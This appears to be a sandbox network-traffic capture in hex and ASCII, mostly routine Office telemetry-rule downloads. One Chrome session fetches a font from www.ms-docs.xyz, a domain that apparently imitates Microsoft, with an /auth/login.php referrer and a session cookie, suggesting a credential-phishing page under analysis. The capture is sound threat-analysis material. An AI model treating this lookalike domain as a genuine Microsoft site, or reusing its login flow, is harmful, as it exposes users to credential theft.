2024-12-03 14:32:48 UTC	8192	IN	Data Raw: 31 65 64 38 0d 0a 21 3d 20 6d 69 6d 65 4c 6f 67 6f 66 66 45 32 6b 33 29 20 26 26 20 49 73 4d 69 6d 65 43 74 6c 49 6e 73 74 28 22 4d 69 6d 65 42 68 76 72 2e 4d 69 6d 65 43 74 6c 56 65 72 22 29 29 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6d 65 4c 6f 67 6f 66 66 45 32 6b 33 2e 4c 6f 67 6f 66 66 28 29 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 28 74 79 70 65 6f 66 20 28 6d 69 6d 65 4c 6f 67 6f 66 66 45 32 6b 37 53 50 31 29 20 21 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 20 26 26 20 6e 75 6c 6c 20 21 3d 20 6d 69 6d 65 4c 6f 67 6f 66 66 45 32 6b 37 53 50 31 29 20 26 26 20 49 73 4d 69 6d 65 43 74 6c 49 6e 73 74 28 22 4f 77 61 53 4d 69 6d 65 2e 4d 69 6d 65 43 74 6c 56 65 72 22 29 29 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6d 65 4c 6f 67 6f 66 Data Ascii: 1ed8!= mimeLogoffE2k3) && IsMimeCtlInst("MimeBhvr.MimeCtlVer")) mimeLogoffE2k3.Logoff(); if ((typeof (mimeLogoffE2k7SP1) != "undefined" && null != mimeLogoffE2k7SP1) && IsMimeCtlInst("OwaSMime.MimeCtlVer")) mimeLogof

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.9	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:47 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:47 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:47 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 73839456-501e-000a-0a63-430180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143247Z-174f7845968qj8jrhC1EWRh41s000000161g00000000a6fm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:47 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.9	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:47 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:48 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:48 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c36c9036-001e-0014-67fa-445151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143248Z-174f7845968cs2nkhC1EWR2tq000000001mg00000000mf9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:48 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.9	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:49 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:49 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:49 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 717d5930-e01e-001f-2a2b-441633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143249Z-174f7845968ljs8phC1EWRe6en00000015yg0000000087uf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:49 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.9	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:49 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:50 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:49 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 14abde1b-801e-0047-6aab-437265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143249Z-174f7845968jrjrxhC1EWRmmrs000000169g000000002gxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:50 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.9	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:49 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:50 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:50 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 23749888-001e-0082-48f2-445880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143249Z-174f7845968jrjrxhC1EWRmmrs000000165g00000000dufm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:50 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.9	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:49 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:50 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:49 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: e9f7249a-b01e-00ab-72be-42dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143249Z-174f7845968vqt9xhC1EWRgten00000015zg00000000n0fs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:50 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.9	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:50 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:50 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:50 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 8c7215b7-001e-00ad-4224-44554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143250Z-174f7845968qj8jrhC1EWRh41s0000001640000000000c9z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:50 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.9	49829	101.99.88.62	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:50 UTC	707	OUT	GET /auth/resources/segoeui-regular.ttf HTTP/1.1 Host: www.ms-docs.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.ms-docs.xyz sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=64164147a0126881c9cba57751d03b4f
2024-12-03 14:32:51 UTC	272	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:50 GMT Server: Apache Last-Modified: Sun, 06 Oct 2019 23:13:44 GMT Accept-Ranges: bytes Content-Length: 56760 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Connection: close Content-Type: font/ttf
2024-12-03 14:32:51 UTC	7920	IN	Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 4c 54 53 48 6a a8 ad 70 00 00 01 2c 00 00 00 e9 4f 53 2f 32 4a 55 76 98 00 00 02 18 00 00 00 60 56 44 4d 58 76 58 7d d3 00 00 02 78 00 00 05 e0 63 6d 61 70 36 ce 14 f7 00 00 08 58 00 00 01 c2 63 76 74 20 7c b5 5d aa 00 00 0a 1c 00 00 0a 1e 66 70 67 6d bd 3c 2a ff 00 00 14 3c 00 00 09 83 67 61 73 70 00 1b 00 23 00 00 1d c0 00 00 00 10 67 6c 79 66 b4 e7 47 7b 00 00 1d d0 00 00 7a 8a 68 64 6d 78 70 98 bf e6 00 00 98 5c 00 00 0f 70 68 65 61 64 e2 18 80 46 00 00 a7 cc 00 00 00 36 68 68 65 61 10 cb 07 42 00 00 a8 04 00 00 00 24 68 6d 74 78 b1 01 5b 26 00 00 a8 28 00 00 03 94 6b 65 72 6e 8d e9 8b c1 00 00 ab bc 00 00 1f c2 6c 6f 63 61 00 3d 5e c6 00 00 cb 80 00 00 03 98 6d 61 78 70 06 55 02 29 00 00 cf 18 00 00 00 20 6e 61 6d Data Ascii: LTSHjp,OS/2JUv`VDMXvX}xcmap6Xcvt \|]fpgm<*<gasp#glyfG{zhdmxp\pheadF6hheaB$hmtx[&(kernloca=^maxpU) nam
2024-12-03 14:32:51 UTC	8000	IN	Data Raw: 07 18 1c 1f 09 08 19 08 17 1d 1e 0a 0b 16 0b 14 11 10 0d 0c 15 0c 09 0d 10 1f 04 03 e2 06 11 14 17 1d 04 02 e2 40 1b 06 1b 06 1a 0b 00 07 10 07 02 09 07 07 21 16 1a 03 04 00 00 19 1a 0e 07 0f 08 01 0c 03 08 08 21 0c 0c 16 42 12 0e 0e 15 16 0b 60 0c 70 0c 02 0c 2f 5d 33 cd 32 33 2f c6 2b 11 12 01 39 18 2f 5f 5e 5d 33 e1 32 32 2f c6 00 3f c4 12 39 2f 5e 5d c4 12 39 39 2f 2f 1a ed 17 39 10 ed 17 39 31 30 10 87 05 c0 c0 c0 c0 10 87 c0 c0 c0 c0 10 87 c0 c0 c0 c0 10 87 c0 c0 c0 c0 01 5d 5d 01 07 21 03 21 07 21 03 23 13 23 03 23 13 21 37 21 13 21 37 21 13 33 03 33 13 33 03 07 23 03 33 04 8e 17 fe fb 3f 01 19 1b fe ed 58 7e 56 fa 54 7d 54 fe fa 14 01 09 3d fe eb 15 01 15 54 7e 54 fc 56 7b 54 91 fc 42 fe 04 08 6a fe d4 6a fe 73 01 8d fe 73 01 8d 6a 01 2c 6a 01 92 Data Ascii: @!!B`p/]323/+9/_^]322/?9/^]99//9910]]!!!###!7!!7!333#3?X~VT}T=T~TV{TBjjssj,j
2024-12-03 14:32:51 UTC	8000	IN	Data Raw: 9c fe 70 fe bd fe a1 fe 68 05 32 fe ba fe f7 fe f7 fe bd 01 34 01 15 01 1c 01 36 00 00 02 00 bc 00 00 04 29 05 9a 00 0a 00 12 00 85 40 23 77 06 01 35 0f 01 00 91 0c 0c 03 02 12 0b 91 03 03 07 08 0d 06 4d 07 08 0c 06 4d 07 08 0b 06 4d 07 7d 10 b8 ff e8 b3 0d 06 4d 10 b8 ff e8 40 1e 0c 06 4d 10 10 0b 06 4d 10 10 14 0c 01 06 0d 06 4d 01 06 0c 06 4d 01 06 0b 06 4d 01 7e 02 b8 ff f8 b3 0d 06 4d 02 b8 ff f4 40 09 0c 06 4d 02 04 0b 06 4d 02 2f 2b 2b 2b e9 2b 2b 2b 32 12 39 2f 2b 2b 2b e9 2b 2b 2b 00 3f ed 3f 12 39 2f ed 31 30 5d 5d 01 11 23 11 21 32 16 15 14 00 23 03 11 33 32 36 35 10 21 01 64 a8 01 8a e6 fd fe e7 ef bd b0 ae b7 fe b0 02 1e fd e2 05 9a e0 cc cc fe fc 02 e4 fd b4 9f 91 01 1c 00 00 02 00 5e ff 3f 06 25 05 b2 00 14 00 24 00 2c 40 15 13 10 04 11 0c Data Ascii: ph246)@#w5MMM}M@MMMMM~M@MM/++++++29/++++++??9/10]]#!2#3265!d^?%$,@
2024-12-03 14:32:51 UTC	8000	IN	Data Raw: fc 25 37 27 35 03 04 00 00 01 00 1a 00 00 03 92 04 00 00 13 00 e0 40 13 7b 13 01 73 0e 01 79 0c 01 74 0a 01 7b 03 01 75 01 01 13 b8 ff f8 40 09 0b 06 4d 0e 08 0b 06 4d 0c b8 ff f8 40 09 0b 06 4d 0a 08 0b 06 4d 03 b8 ff f8 40 09 0b 06 4d 01 08 0b 06 4d 0d b8 ff f0 b3 0c 06 4d 0c b8 ff f0 b3 0c 06 4d 0b b8 ff f0 40 13 0c 06 4d 02 10 0c 06 4d 01 10 0c 06 4d 00 10 0c 06 4d 01 b8 ff f0 b3 0b 00 4d 13 b8 ff f0 40 11 0b 0d 01 4c 0e 10 0b 0d 01 4c 0a 10 0b 0d 01 4c 03 b8 ff f0 40 0a 0b 0d 01 4c 11 18 0b 01 4d 06 b8 ff e8 40 15 0b 01 4d 03 06 11 13 04 0b 0d 0f 0b 00 02 0d 0b 02 02 15 0b 15 b8 ff c0 b2 0c 00 4d 2b 2f 11 33 2f 11 33 11 33 00 2f 3f 12 17 39 2b 2b 31 30 01 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 5d 5d 5d 5d 5d 5d 09 02 23 03 26 27 23 06 07 Data Ascii: %7'5@{syt{u@MM@MM@MMMM@MMMMM@LLL@LM@MM+/3/33/?9++10+++++++++++++++++]]]]]]#&'#
2024-12-03 14:32:51 UTC	8000	IN	Data Raw: fe 01 ae 85 00 01 00 5e fe ea 03 b8 05 9a 00 1c 00 71 40 12 79 13 01 79 11 01 77 09 01 77 03 01 0a 30 0c 00 4d 04 b8 ff f0 40 30 0c 00 4d 0f 06 01 06 06 04 08 05 04 03 09 13 16 17 09 04 12 10 14 30 14 40 14 03 14 14 12 12 0d 1c 0d 08 05 13 95 16 16 1d 02 95 1a 03 10 95 0b 00 2f ed 3f ed 12 39 2f ed 39 39 01 2f 2f 12 39 11 33 2f 5d 11 17 33 11 17 33 11 33 2f 5d 31 30 2b 00 2b 01 5d 5d 5d 5d 01 26 23 22 07 07 33 15 23 03 02 21 22 27 35 16 33 32 13 13 23 35 33 37 36 36 33 32 17 03 b8 30 3c 92 18 1f a6 bb 5a 3a fe de 1f 3b 24 32 96 28 5b 67 7c 1c 11 af 86 40 34 04 f2 1c a0 d0 8a fd 78 fe 5e 10 8f 15 01 24 02 7c 8a db 83 9e 13 00 02 00 5c 00 c8 03 b4 03 70 00 05 00 0b 00 2b 40 15 06 0a 00 04 00 00 04 f0 05 02 08 80 0a 0a 06 f0 0b 0f 08 01 08 2f 5d 33 f1 c0 2f Data Ascii: ^q@yyww0M@0M0@/?9/99//93/]333/]10++]]]]&#"3#!"'532#53766320<Z:;$2([g\|@4x^$\|\p+@/]3/
2024-12-03 14:32:52 UTC	8000	IN	Data Raw: 0b 08 08 07 08 09 0a 05 06 06 0e 0e 0e 06 05 08 06 06 05 00 10 13 0a 00 02 04 05 06 09 09 0d 0d 04 05 05 07 0b 03 06 03 06 09 09 09 09 09 09 09 09 09 09 03 03 0b 0b 0b 07 0f 0a 09 0a 0b 08 08 0b 0b 04 06 09 08 0e 0c 0c 09 0c 0a 09 08 0b 0a 0f 09 09 09 05 06 05 0b 07 04 08 09 07 09 08 05 09 09 04 04 08 04 0e 09 09 09 09 06 07 05 09 08 0c 07 08 07 05 04 05 0b 0a 0a 0a 08 0c 0c 0b 08 08 08 08 08 08 07 08 08 08 08 04 04 04 04 09 09 09 09 09 09 09 09 09 09 06 06 09 09 07 07 07 09 06 0e 0e 0c 05 07 0e 0c 0b 09 09 06 07 0d 09 07 04 05 0b 09 08 08 0c 0a 0a 0c 0f 0f 08 10 06 06 04 04 0b 08 09 03 09 05 05 06 03 04 06 13 0a 08 0a 08 08 04 04 04 04 0c 0c 0c 0b 0b 0b 04 06 05 04 03 06 09 07 09 07 04 0b 09 09 08 09 09 0b 06 06 06 0f 0f 0f 07 06 09 06 06 06 00 11 15 0b Data Ascii:
2024-12-03 14:32:52 UTC	8000	IN	Data Raw: 00 b6 ff 08 00 3c 00 b8 ff 62 00 3c 00 ba ff 62 00 3c 00 c1 ff d3 00 3c 00 c2 ff d3 00 3c 00 c3 ff d3 00 3c 00 cd ff e5 00 3c 00 ce ff 7b 00 3d 00 2d 00 52 00 3d 00 37 00 27 00 3d 00 5c ff cb 00 3d 00 77 00 46 00 3d 00 9f 00 27 00 3d 00 ad ff be 00 3d 00 b2 00 52 00 3d 00 d5 ff cb 00 3e 00 4d 00 e9 00 45 00 44 ff e5 00 45 00 49 ff f6 00 45 00 5b ff e7 00 45 00 69 ff e5 00 45 00 6a ff e5 00 45 00 6b ff e5 00 45 00 6c ff e5 00 45 00 6d ff e5 00 45 00 6e ff e5 00 45 00 97 ff e5 00 46 00 2d 00 46 00 46 00 37 ff 9a 00 46 00 3c ff b4 00 46 00 d4 ff b4 00 48 00 05 ff 98 00 48 00 0a ff 98 00 49 00 0c 00 8d 00 49 00 0f ff 7f 00 49 00 10 ff 